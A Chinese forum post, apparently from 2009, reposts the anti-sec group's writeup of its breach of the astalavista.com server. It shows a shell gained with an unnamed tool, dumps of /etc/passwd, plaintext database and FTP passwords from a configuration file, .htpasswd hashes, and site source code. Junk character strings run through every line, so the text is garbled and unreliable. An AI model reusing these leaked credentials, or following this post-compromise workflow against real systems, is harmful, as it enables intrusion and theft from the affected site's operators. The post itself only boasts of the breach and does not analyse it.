里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。
+ I# O7 e& H( H- A, B' V; q& `8 c* z' l( R
[root@front3 ~]# curl -I litespeedtech.com
l* w1 T4 J" m5 R9 Q6 tHTTP/1.1 200 OK! w6 C* K1 v% k$ t0 C
Date: Fri, 05 Jun 2009 22:54:51 GMT
. S- k/ C2 ^, {; FServer: LiteSpeed
8 K, t+ t2 {9 G, C5 J1 ]
% v `7 q# W5 k3 w! Q另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-6 T8 F9 P* U9 P# h7 b
1 H0 [3 D# F5 q1 x4 E
有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。
1 C+ L8 k8 Z+ g4 M* `1 ^) f ]
! N& g) y D: e" Q: c: D x* A d) `0 } t
/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \
7 \/ O7 \7 ^ Q; {/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \/ `# \7 G# m0 }' ~- r
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \ U* u7 t1 O* W2 @# A( k
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /
# ~# B6 X$ I* q/ w \/ \/ \/ \/ \/ \/ \/
l5 c6 l& g7 {; Z The Hacking & Security Community9 t4 V1 ]8 p. ?) G
[+] Founded in 1997 by a hacker computer enthusiast
1 G6 F2 y. a+ m3 K7 K0 A[-] Exposed in 2009 by anti-sec group
; N6 f8 M: O) S
* u1 B% U8 J5 \: _From < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:* |" K7 } V: q# Y4 S
>> 03. Who’s behind the site?; m% k# G! q9 j8 Q M
>>
. `: g! A. @ @/ ]>> A team of security and IT professionals, and a countless number of contributors from all over the world.& t7 Z* y# `! w& ^
: z8 P+ T% N M7 G9 k0 S>> 05. Is it true that the site is visited by script-kiddies and warez fans only?
; z/ Y. c( U$ r/ H/ y& n7 ]+ d, `" a>>
7 x6 Y; g7 ^: l7 t9 V>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and7 ]0 H M1 O; [1 B3 k
military institutions.* W+ z# X' n3 N$ O% j
>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.
- K* ?- H4 o6 l Y; K# f$ n, L. r+ r$ ]. h, k5 B1 r
Why has Astalavista been targeted?
, h" V( ]4 o; k
; e/ m( m# N4 U6 C: N; m1 oOther than the fact that they are not doing any of this for the “community” but
6 {2 ?# r3 h& [' ^$ wfor the money, they spread exploits for kids, claim to be a security community6 L" z8 S1 U! R
(with no real sense of security on their own servers), and they charge you $6.66
6 |/ d9 e' H8 ^per months to access a dead forum with a directory filled with public releases2 b1 V# x' N. {. C
and outdated / broken services.) W1 O/ S5 ^; p, c5 R% Y
3 C2 c( n4 Z: ?2 nWe wanted to see how good that “team of security and IT professionals” really is.+ ^& ]* L O% r
& [% J# t( l. ?6 u
Let’s begin.
4 \7 m6 s# X: H6 d% e
& Q; f! c8 F( R, _7 e2 f! H0 k- F' eanti-sec:~# ./g0tshell astalavista.com -p 80
4 ?8 P) H3 \8 x+ W& y( `9 j[+] Connecting to astalavista.com:80
# F6 }4 }- k% S2 M5 M[+] Grabbing banner…
3 \% h& j7 m* ^& m4 r8 w/ v" aLiteSpeed7 w1 ]/ x$ l4 }1 b9 W( G6 Z
[+] Injecting shellcode…: G: `2 p& Y) @* K( H/ X" l
[-] Wait for it
l$ o4 f* l8 C% v$ f$ n
6 X" B; U0 G) K4 i: q! T[~] We g0tshell$ }4 }% \& j( \+ p. j& [
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
2 K2 L; q! B/ |ID: uid=100(apache) gid=500(apache) groups=500(apache), a$ {9 J8 A Q% o% d
0 ]4 e- m/ w& D$ p" rsh-3.2$ cat /etc/passwd7 e* g; h: l1 h
root:x:0:0:root:/root:/bin/bash
7 r% Q i) N" k; |, sbin:x:1:1:bin:/bin:/sbin/nologin( U2 @/ G# ^8 O
daemon:x:2:2:daemon:/sbin:/sbin/nologin
2 p2 o/ C; w) ~- Y: ]9 Cadm:x:3:4:adm:/var/adm:/sbin/nologin
9 X! E! R) i' M" Hlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin6 @2 w5 D8 X# q; h, [: q, H0 e
sync:x:5:0:sync:/sbin:/bin/sync
6 g& c z6 {6 y/ G6 q$ W8 Vshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown, j$ `7 O( m: i
halt:x:7:0:halt:/sbin:/sbin/halt# q( p F& b' Y2 ~
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
" g1 P$ C% F. y4 ~0 xnews:x:9:13:news:/etc/news:5 z& r" {, n5 j/ D/ D
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
# {2 ]1 W: F7 v8 p7 L6 z1 Zoperator:x:11:0 perator:/root:/sbin/nologin
- @# l7 |2 y/ x( }" d |games:x:12:100:games:/usr/games:/sbin/nologin
1 |/ |4 ?, t& K& {gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
5 k s2 g1 l, |; rftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
2 f' d `. D; ]. Knobody:x:99:99:Nobody:/:/sbin/nologin& W8 ~ D0 K C3 S
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
6 |8 h3 e- R4 M( Vdbus:x:81:81:System message bus:/:/sbin/nologin5 A G# k" j4 j2 `& b7 A6 P& z% H4 h
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin& b4 |+ E( j% N1 O1 H
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
. D# s+ L; r7 v$ \" \+ Bsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
& d! J/ E/ n' ^( B+ r9 v0 @, Mvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin2 G$ f. M6 Y- z' v
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin# b" X; _9 [" o9 L* j
rpc:x:32:32 ortmapper RPC user:/:/sbin/nologin
; X- [( W' O+ ^. urpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin/ `+ L1 e7 m" {' S! B5 o, b
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin5 O3 A; b5 O* S( U ]0 p4 }( g
sshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin; z# W, A( a9 ?5 i3 C8 O9 U
pcap:x:77:77::/var/arpwatch:/sbin/nologin
# v2 _& V4 f$ Anamed:x:25:25:Named:/var/named:/sbin/nologin
: q5 y; q E! O) v! W4 M9 xapache:x:100:500::/var/www:/bin/false8 [$ v; W. N/ w2 I" W
diradmin:x:101:101::/usr/local/directadmin:/bin/bash! n D- L; d! J7 y6 e
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
( b( W( D% [* \2 v0 [- w' dwebapps:x:500:501::/var/www/html:/bin/bash
, U: U& o5 r { Ymajordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
' o9 {7 d- `7 v1 H. k m6 |( V; Padmin:x:501:502::/home/admin:/bin/bash
2 Q: @3 `. L% `; x& r7 p! Q0 Rjon:x:502:503::/home/jon:/bin/bash
3 O2 V7 x. J4 [; z, Q9 D* ~com:x:503:504::/home/com:/bin/bash6 g0 j% f" g. @& m
ntp:x:38:38::/etc/ntp:/sbin/nologin
/ b# \" r+ x0 v% s1 j! A! B& Pais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin
+ \% @$ i4 ]; Qastanet:x:504:505::/home/astanet:/bin/bash6 e9 N% p, i# e' o1 i
avahi:x:70:70:Avahi daemon:/:/sbin/nologin4 S7 [) m: ?3 i, g( }) E0 u9 d! [
avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin) d2 |3 x% M; Y$ i( o2 e6 A
/ Q0 Z, y' `% H/ \
sh-3.2$ cat /etc/hosts [4 @& f, d" E" z( s6 Q
# Do not remove the following line, or various programs- e5 r8 q! `+ @/ \( [' A0 i
# that require network functionality will fail.
( t4 j3 B9 s4 U7 `/ r8 |7 o) h, N' V127.0.0.1 localhost.localdomain localhost+ o4 [8 Q$ t# y# Z
::1 localhost6.localdomain6 localhost6
% g+ k6 @) T+ x }' h) A( T80.74.154.172 asta1.astalavistaserver.com" x& p! E( W) B
/ Q' w7 k8 J" d7 d/ M; B3 gsh-3.2$ pwd! u; ]2 F2 ?$ @1 e
/home/com/public_html
& K& D: |! C5 m4 z* i# j0 F3 }( _
" Q' ^/ P5 p) dsh-3.2$ ls -la
( Y- c# b7 O6 o. htotal 184609 D5 P+ Y: Q m7 P, q
drwxr-xr-x 30 com apache 4096 May 28 17:06 .
! G( H! |3 Y9 D }drwx–x–x 11 com com 4096 Jun 25 2008 ..
7 P1 M3 p) t) ?( Ydrwxr-xr-x 2 com com 4096 Feb 2 19:29 admin
' k2 W2 n2 j8 T: Hdrwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache5 n' K \. N& U) X9 E
drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin
, C9 C* K( V6 O# \" Z& ]4 Ydrwxrwxrwx 2 com com 4096 May 19 00:50 config
4 M& c* v2 N' E! vdrwxr-xr-x 2 com com 4096 Mar 20 11:05 core
' o2 P5 e' s( ?) Sdrwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules
" B ?% ~$ m- _& {' l+ Y9 Pdrwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing
! U9 `! m" e' N7 l9 Bdrwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo5 o& t& d& ]& V& j" B) u( {
drwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__
0 H/ l1 K) u5 N% X( f-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php
+ B5 O3 u2 ^# W3 K ]/ I' ]drwxr-xr-x 2 com com 4096 Sep 9 2008 dvd1 L" T4 Z0 ?" V
drwxr-xr-x 3 com com 4096 Feb 2 19:29 editor& `7 J5 L1 w0 ?8 X5 Y. H3 H
-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico
, D$ X- n P" N) Y" Z$ Mdrwxrwxrwx 2 com com 4096 Jun 4 08:00 feed
7 D+ K: _! Z+ M% b% \-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
! T- g1 `" ^, W8 I* O, E, p; d: \-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak/ y' G9 v2 @ I
-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak h+ v% W6 f( W8 [+ _; l. [
drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool
, G/ _/ n* q" ?0 T9 U+ kdrwxrwxrwx 14 com com 4096 Feb 2 19:29 images- Z8 E: g3 d, n% y
-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php3 R) v6 V$ X! E% W+ A
drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer# a4 ^' k. i% A t0 t
drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang+ t, a5 K7 a1 _: |, A0 ~
drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib
. o' B* D1 a1 J6 \7 ndrwxrwxrwx 12 com com 4096 Jun 2 07:47 media
" c4 Y/ W5 k8 `3 H( Ldrwxr-xr-x 8 com com 4096 May 11 12:48 modifications- n$ l/ ^' z8 T2 P2 \% ~6 D
drwxr-xr-x 34 com com 4096 May 28 16:30 modules r$ N s" s! i% }' K k8 o
drwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin8 j3 Z" S' m$ X9 @0 O! H; [3 ~
drwxrwxr-x 22 com com 4096 May 28 17:06 _new
1 y/ h8 u& Q( Q/ U* J1 Q3 vdrwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
9 y4 N5 D" k( W- J odrwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy" o8 n$ `+ z) p4 ]: @
drwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy+ c( h% x7 v& h" r5 B9 @
-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt
/ Z' U; p, q5 o9 m3 y-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml
. p; G \- W6 ] z. x3 D* A-rw-r–r– 1 com com 223 Mar 30 15:32 test.php
! j$ p: k& e, a* w2 l$ C4 r2 Xdrwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
T7 j9 `! L, {; b) P8 N W6 Y: n i/ Vdrwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp
( E) m8 h+ q4 D6 k7 ^drwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam
- P# C5 n( {- r. t0 }6 T3 O+ _ l4 L2 t4 {4 }
sh-3.2$ head -20 index.php
, L; t! B" ~& `9 S! n<?php) L0 e/ I d# I; S8 R' o
8 o2 H8 U, p( U+ j9 c/**
4 g T! r3 k. Q% u) @, _* The main page for the CMS
0 S/ S8 i4 V9 `* @copyright CONTREXX CMS - COMVATION AG
7 r: f0 o, y1 e8 I4 c4 r* @author Comvation Development Team& U7 w+ c& H2 A# m
* @version v1.0.9.10.1 stable
3 R! T2 S9 r! G2 j8 a( m* @package contrexx! G' {0 a/ o# Q6 ^8 z( g1 q$ x( Q
* @subpackage core, F9 G8 A ~8 S, N
* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage" J4 R$ K0 e5 C4 _( \3 G; H6 L9 {
* @since v0.0.0.0
2 Z. O* Z. a; b* @todo Capitalize all class names in project
8 U+ @* Z3 J% G7 D& j* @uses /config/configuration.php6 k/ d5 D) V% H% N4 `
* @uses /config/settings.php2 l: ~& n9 f/ z5 P
* @uses /config/version.php
7 U. J3 Y: T6 H8 Y0 |- ]9 r, C( p* @uses /core/API.php
6 h$ `# E) i8 Z r6 H4 O: ?, {* @uses /core_modules/cache/index.class.php
2 I) P- t$ O4 R+ r+ y8 L ~ ^* @uses /core/error.class.php' V; r: m S7 W, x) r1 C+ a1 z
* @uses /core_modules/banner/index.class.php
( U8 l) ?, P: _6 X0 h/ c0 E1 l* @uses /core_modules/contact/index.class.php. l; S. y9 o. n6 H
. |; L- k9 N8 Z. l3 Q# i! @' M
sh-3.2$ cd config/$ j. L5 h( n! R; }
sh-3.2$ ls -la& I4 l6 ~) x9 ]. @ ]% ^/ C
total 32+ C8 F5 t2 k# e4 T8 M' ]
drwxrwxrwx 2 com com 4096 May 19 00:50 .6 m. @ y8 y% O0 D1 L
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..6 w9 Y: f% S2 r4 S
-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php$ C- i7 ]. ~! k# z, P4 X" G
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php
# |* T5 v: m% P% F# q-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php2 R8 e: W; G. S* u6 }$ J9 s/ |
-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php4 | l" p* z/ x. F# S
7 B3 m. t( h Z, G# O# ?" P
sh-3.2$ cat configuration.php8 w5 A0 Z8 ^2 Z2 @+ z7 d- b
[snip]
, X8 V1 R3 [ }$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost
; J% H2 a4 p! g7 k2 V7 O$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name
. l) D1 t8 ~! U6 t7 T' n$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix1 `# b2 k" V1 x2 ?
$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username3 b$ q2 T: F. F) A3 f+ `: {9 G
$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password
+ F: r4 A5 O& E6 R! \" Y; g- H$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)
/ c1 L" Q; @* {$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)
' R; v' q0 T5 Z: J' s& Z2 T; a6 X% Q[snip]
+ f/ K% `1 p2 Q- a1 g" r9 a$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
. z* d( ]/ l- C& _$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode- E7 }2 T0 z3 z
$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost
; P( ^- U# [; K5 a) r0 M l6 [$_FTPCONFIG['port'] = 21; // Ftp remote port* l+ }$ K& n+ w) `1 X4 _& \4 {
$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username3 r* A6 r$ S e% {
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password8 G9 `( C# e) M2 V) e: |3 p
$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms
% f0 a R9 |* H4 F5 K) P8 I. o, v, f; f( ^! ^3 J: A1 U" g
sh-3.2$ cd ..' B+ A! w* Q8 W5 w) F7 e, k7 n
sh-3.2$ cd dvd/5 _. ?/ k) ~6 F- s7 w
sh-3.2$ ls -la; u& q( `' G, n/ `
total 2913780; E9 }9 [ m7 e: h0 @7 K
drwxr-xr-x 2 com com 4096 Sep 9 2008 .: C7 d* |% U; \/ J
drwxr-xr-x 30 com apache 4096 May 28 17:06 ... Y- |6 w- d" c9 D$ }0 d% C
-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar! @/ W2 s, x% t5 j3 K9 E
-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar
. R( F" i, P+ x4 `3 b2 c-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar1 i2 ~; y8 J4 g$ @8 V
-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess' i3 b. W ]3 B' u2 y
5 w0 L: X: T$ H* H0 Ash-3.2$ cat .htaccess
- D3 R; |5 @0 N9 j+ fauthType Basic8 Y6 p; \& j" q9 c, F
authName DVD( ~ r: B9 _, x: [: l0 _& W
authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd: s# r/ r; \, t' I9 ]9 J
require valid-user
0 p; s* g/ Y: s5 N
9 U5 E, ]- J1 Q- a% osh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
+ L/ u0 r; f0 W% a; l) }DVDdownload:CRD8cuY6.MPT6. M& t: z- N/ w
DVDdownload2:CR8a36.wluFMg" e4 b9 ^( m# P6 b1 R& ^
) M1 b; t' s/ U, o. Nsh-3.2$ cat test.php k Q* ~% \! r1 }# }
<?php
# J2 s" ^" z9 b7 T$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;$ o q3 y* o2 Q' c5 b1 r8 `
$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));
$ G9 B3 y/ W d' E* P5 `echo $url;
, G7 |! n, W* m9 l( W5 ~?>
/ g4 d7 x) }$ Z% D0 Y- X) z3 l+ w8 e$ ]
sh-3.2$ cd modifications/
4 m# s$ x# G. O" }3 Esh-3.2$ ls -la
5 A$ d% d) b( Y/ stotal 32
' T8 n- k# s q. \0 b* @drwxr-xr-x 8 com com 4096 May 11 12:48 .
o7 o$ z; w( w% p% Y: d: j# _drwxr-xr-x 30 com apache 4096 May 28 17:06 ..2 P1 Y) w9 [0 S+ x; s3 p Q$ A4 a
drwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng' o) O4 Y5 E! w' k3 m4 R3 y9 ~7 B
drwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs: D+ U. h, O( T1 x! k L" ~
drwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools
) z% e. y/ y( }- Ldrwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc1 I5 V, ^9 l/ r+ m5 _2 ^
drwxr-xr-x 2 com com 4096 Feb 2 19:33 search
! e) s" O; `, r1 bdrwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp5 G' o% ~& Z K A- g
t: k" r- Y0 r! j }sh-3.2$ ls -R" y4 b4 ?& ~ b& K+ {3 ]& a$ i; U2 ]! k
.:5 h' x" W7 c- }; f' K" u7 }
com_avtng cronjobs onlinetools pjirc search _tmp
& h( H; j$ d2 S( u. O4 a. H9 Y: s6 f3 _( @! h
./com_avtng:
f# S3 `1 H. l' P7 E+ P" {4 oavtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts' H) z; h0 S9 ~( a: V# D1 W) G
: ]& m% z: i* L3 V& B./com_avtng/scripts:
2 a/ F1 C4 r+ y3 b& rpopunder.js% c% w+ S' z2 [1 o6 O- q: V4 D
: E& ~6 V( C$ Z- o
./cronjobs:2 n/ Y; W! ?. h
exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp: g- Y0 R6 E: J V' C! ^' f
4 g. [, G7 s0 d6 W
./cronjobs/tmp:* m/ c! u T: Z Y* z/ B
contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv. g) c9 S; U$ n# a$ H- {
4 R/ U5 r3 T0 n: i0 k; v7 O./onlinetools:
! _4 }' K, L1 f6 z4 ?index.php4 D3 h/ y) A8 N% u5 _
/ {+ r" [ A0 t
./pjirc:% [* K1 Z% A' P- K _% i
a_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt
" F6 n# S! V; \; Q% a+ e- IAppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt7 o1 @ ?$ W. w' p- N
background.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd) w' e; C9 {4 v! U% {
! N3 f, ~2 X' P* @./pjirc/img:4 o8 s4 P' O8 v! g/ I7 k
ange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif
# {( B- ~( g, g' I3 e! Xarbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif
9 z) l5 o7 A1 R: b& W8 S. sverre-eau.gif
5 s& b+ P- {+ n' g& Y7 w8 C- zargh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif 4 ^. d* G q% E
verre-vin.gif
: ~: T8 c0 d* tballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif
7 ~( @7 e8 b0 P- A6 Lbiere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif! X; c% [( h& e; Q/ O$ y* ~) ~/ \ U
- N. a- x: Q" S* n! C
./pjirc/snd:
0 _4 m9 y O( J5 ?; A3 nbell2.au ding.au/ E- ^2 [$ O; U5 J
* K( u8 I- w" l# o! ?6 ~# C
./search:
, e9 X3 J& d- ~# QsearchEngines.php search.php
* d% F( `9 N _1 w# U9 z* V
8 u2 o8 e- L' X) i% T3 X( a1 I./_tmp:; K: j( W, Z/ @/ I( D
defaultPorts.php defaultPorts.txt5 w1 K+ S, e# B& G
- g4 i/ w2 _' b% \ P& p7 d8 bsh-3.2$ cd cronjobs/
0 f9 P2 R# H9 F/ ssh-3.2$ cat exploits.php
8 r9 x [0 A1 H[snip]
& O7 }6 C; N( B. }: }9 G$ g( Q$categories = array();& I5 [4 L+ H4 ^3 {
$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;
; k+ J) L3 D. u/ M/ u. K7 L$expolits = file($milw0rmFile);1 g( N" L1 h: `" s$ E* q
$comExploits = array();
6 s y+ B. Y+ k/ Y5 r' X9 I[snip]# h9 f' Y. H0 ^4 ~
// manage data
7 e# {3 \4 K2 _7 d# ^. ~for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640
7 o7 e* {8 T# F7 v
" A, x' H- w8 i# a! k. f // get path and title
! ^- D& ?0 Y$ c9 V& B- S5 j $expolits[$x] = trim($expolits[$x]);! s: a0 o8 M& ?, t- }7 B& E
$path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));
0 `2 d& W' I/ ]( M* c# r $title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);6 G4 h. m5 U. x
; \8 Q) j( d# E/ @
// check if file exists, X7 }9 u1 w4 [' H/ @
if (file_exists($path)) {' V8 S# m# X7 e" I
% a1 @$ J. B. Z$ {: [
$text = file_get_contents($path);4 ?) P; X. l; V6 o- y; F/ N
6 w+ ~7 n) t4 l9 q8 t" T" ~ // get content and date3 D. K# J% I7 a5 A
//$text = htmlspecialchars($text, ENT_QUOTES);
# X( X* [/ T7 |5 D- u9 i $tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));
+ P B6 m+ w n% Y, o if ($tmptext != ”) {! ~+ G0 ~8 ]/ u, T* C8 ^( P! E
$text = $tmptext;
- t) q; u. x" W9 F; G% u7 N } else {- Q9 I) d% ~" y/ }$ F* h6 i6 Q( w6 x
$text = addslashes(htmlentities($text, ENT_QUOTES));
1 s! A% `% `* Q; Z5 }8 `9 L }
- B4 c! H7 H! K+ ?6 v6 N $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));0 O2 b* P; k8 \. Q; a W& u
$tmp = explode('-', $date);$ m9 r& e( n8 L' n2 J7 T+ |5 c
$date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
m" _3 H5 K& O7 ?- B# N5 J $cat = getCategory ($path);8 N6 {" ]# |" C W) M: }# K
$ext = pathinfo(basename($path));: p8 [2 N& L; i! H2 U. L& \
$ext = $ext['extension'];' j' X4 @: T$ v# Q1 o0 _
$qStr = ”$ B- a. t' R! L9 k' H3 T
SELECT `id`) X; R- q) P R" N! E, U, A5 J
FROM `contrexx_module_exploits`
) @) _+ ~! ]2 Z2 X: g8 ?% o. W WHERE `title` = ‘” . $title . “‘5 \, e+ |9 D6 f" N+ A S- T6 F$ B
AND `date` = ‘” . $date . “‘% Z# u1 ?( k2 V( H
“;/ d8 r8 {7 L3 `5 Y( d
echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;5 t. L3 w2 `& M
$q = $_objDB->query($qStr);2 \! }' H+ v6 V+ v
" h' Q) j1 U! y8 q4 e if ($q->numRows() == 0) {7 o: R. {9 R2 n6 X! {
6 D, f$ o7 r" n* @
// prepare array# o5 I# Z1 K8 p; }; t2 Z3 l
$comExploits[$x]['date'] = $date;
' z2 q& ^' p. D4 ` $comExploits[$x]['title'] = $title;
8 G+ A; I/ U- z( ?8 T $comExploits[$x]['author'] = ‘milw0rm’;& n( l* V- j- Y" n( i: p
$comExploits[$x]['text'] = $text;
5 F' B$ L$ x. G: j5 n9 A; t $comExploits[$x]['source'] = $ext;8 h3 ~1 c9 _) s0 H8 C' Y4 s& q
$comExploits[$x]['url1'] = ”;
: h% `2 v% E, ?0 L $comExploits[$x]['url2'] = ”;
& }) k& k# g9 V8 [9 c $comExploits[$x]['catid'] = $cat;
& W9 U p6 p4 } $comExploits[$x]['lang'] = ‘2′;
8 z$ B( ?3 n* W! e3 y+ O $comExploits[$x]['userid'] = ‘12′;( U2 H. k) l" {
$comExploits[$x]['startdate'] = ‘0000-00-00′;/ t; l$ J0 O% J% ^( {9 O+ u+ ?
$comExploits[$x]['enddate'] = ‘0000-00-00′;
$ @- F3 I5 [/ N) i $comExploits[$x]['status'] = ‘1′;
: A! u0 R% e6 f3 D2 } $comExploits[$x]['changelog'] = $date;
) t( K) _- d3 f4 H) n
& d) y# Q! z' X" N7 t X4 e: P }
/ g" g3 g l1 v+ f4 j& m9 I0 n[snip]4 o6 C# Y! a" U
$xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
" w8 Z) l% N; a: z2 ?' D$ g<rss version=”2.0″>0 g4 d8 x7 o* m' [( G
<channel>- D( I7 M) W k4 u
<title>ASTALAVISTA.com - Exploits</title>( @; B6 Q: r/ S" G! d
<link>http://www.astalavista.com/exploits</link>1 R/ D! ], {: H' o. T1 B& k
<description>All availably Exploits.</description>
+ `: w6 G9 c1 A% N8 Q% M- U6 F9 A <language>en-us</language>$ S0 i1 x& G8 K& q$ ~
<lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
